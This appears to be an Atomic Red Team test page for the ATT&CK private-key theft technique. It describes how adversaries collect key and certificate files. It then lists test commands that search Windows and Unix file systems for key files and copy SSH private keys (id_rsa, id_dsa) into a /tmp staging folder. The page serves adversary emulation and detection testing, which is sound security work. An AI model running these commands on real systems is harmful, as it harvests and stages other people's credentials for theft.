Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)Adversaries may gather private keys from compromised systems for use in authenticating to Remote Services like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as
~/.ssh
for SSH keys on * nix-based systems orC:\Users(username).ssh</code> on Windows.
Private keys should require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line.
Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)
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Find private keys on the Windows file system.
File extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc
Supported Platforms: Windows
echo "ATOMICREDTEAM" > %windir%\cert.key
dir c:\ /b /s .key | findstr /e .key
Discover private SSH keys on a macOS or Linux system.
Supported Platforms: macOS, Linux
Name
Description
Type
Default Value
output_file
Output file containing locations of SSH key files
path
/tmp/keyfile_locations.txt
find / -name id_rsa >> #{output_file}
find / -name id_dsa >> #{output_file}
Copy private SSH keys on a Linux system to a staging folder using the cp
command.
Supported Platforms: Linux
Name
Description
Type
Default Value
output_folder
Output folder containing copies of SSH private key files
path
/tmp/art-staging
mkdir #{output_folder}
find / -name id_rsa -exec cp --parents {} #{output_folder} \;
find / -name id_dsa -exec cp --parents {} #{output_folder} \;
Copy private SSH keys on a Linux or macOS system to a staging folder using the rsync
command.
Supported Platforms: macOS, Linux
Name
Description
Type
Default Value
output_folder
Output folder containing copies of SSH private key files
path
/tmp/art-staging
mkdir #{output_folder}
find / -name id_rsa -exec rsync -R {} #{output_folder} \;
find / -name id_dsa -exec rsync -R {} #{output_folder} \;